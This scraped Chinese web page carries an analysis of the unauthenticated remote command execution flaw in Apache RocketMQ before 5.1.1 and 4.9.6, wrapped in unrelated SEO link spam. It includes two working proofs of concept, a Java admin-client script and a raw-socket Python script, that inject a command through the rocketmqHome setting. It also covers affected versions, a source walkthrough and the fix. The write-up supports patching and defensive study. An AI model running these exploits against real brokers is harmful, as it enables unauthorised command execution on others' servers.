当前位置: 首页 > news >正文

那些网站分享pr做的视频软件培训学校管理制度大全

那些网站分享pr做的视频软件,培训学校管理制度大全,抖音短视频推广,党校网站项目建设的总体目标漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令…

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-tools</artifactId><version>5.1.0</version></dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.Properties;public class poc1 {public static void main(String[] args) throws Exception {// 创建 Properties 对象Properties props = new Properties();//修改rocketmqHome配置props.setProperty("rocketmqHome","-c gnome-calculator test");props.setProperty("filterServerNums","1");// 创建 DefaultMQAdminExt 对象并启动DefaultMQAdminExt admin = new DefaultMQAdminExt();//此处为 namesrv 端口,此端口无需可访问admin.setNamesrvAddr("192.168.222.130:9876");admin.start();// 更新配置⽂件//此处为 broker 端口,必须可访问admin.updateBrokerConfig("192.168.222.130:10911", props);// 关闭 DefaultMQAdminExt 对象admin.shutdown();}
}

漏洞分析

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
image
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
image
根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞
import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',10911))# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

0715abe40432bb426522330e2e0273c1.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

a37b24c45dab6e53b652516b904ef9a5.gif

靶场实操,戳“阅读原文“

http://www.dinnco.com/news/9714.html

相关文章:

  • wordpress彩色美化苏州网络推广seo服务
  • 做网站找 汇搜网络武汉外包seo公司
  • 钟祥网站建设程序员培训班要多少钱
  • 公司网站形象昆明排名优化
  • 北京建设工程继续教育网站aso关键字优化
  • 网站建设制作咨询客服站长素材音效网
  • 专业设计网站排行榜浙江疫情最新情况
  • 网站做支付需要准备什么东西网站站长工具
  • 天津网站建设公司电扬seo资源是什么意思
  • 企业vi设计说明伟哥seo博客
  • 做明星网站打广告营销推广是干什么的
  • 电视墙装修效果图2023新款站长之家的seo综合查询工具
  • 如何做多语言网站seo什么职位
  • 如何做外贸营销型网站网站建设公司排行榜
  • 淘宝上做网站的信得过吗如何自己搭建网站
  • 国外酷炫flash网站整站优化 mail
  • 做坑人网站二维码百度推广外包
  • org域名做商业网站官网seo
  • 网站查询域名访问怎样才能在百度上面做广告宣传
  • 网站建设技术分为哪些方向长沙网站推广服务公司
  • 哪个公司做网站最好深圳东莞网站优化公司哪家好
  • 柳州市有线电视收视费南京百度快速排名优化
  • 想在公司局域网做建网站公司百度官网优化
  • 网站开发者不给源代码怎么办网页
  • 网站实名认证功能怎么做百度学术论文查重免费
  • 安徽网架公司东莞网络推广优化排名
  • 北仑静态网站建设免费二级域名注册申请
  • 字体在线设计网站网站域名ip查询
  • 做任务赚钱的网站链网
  • 图书馆网站建设目标杭州网站seo公司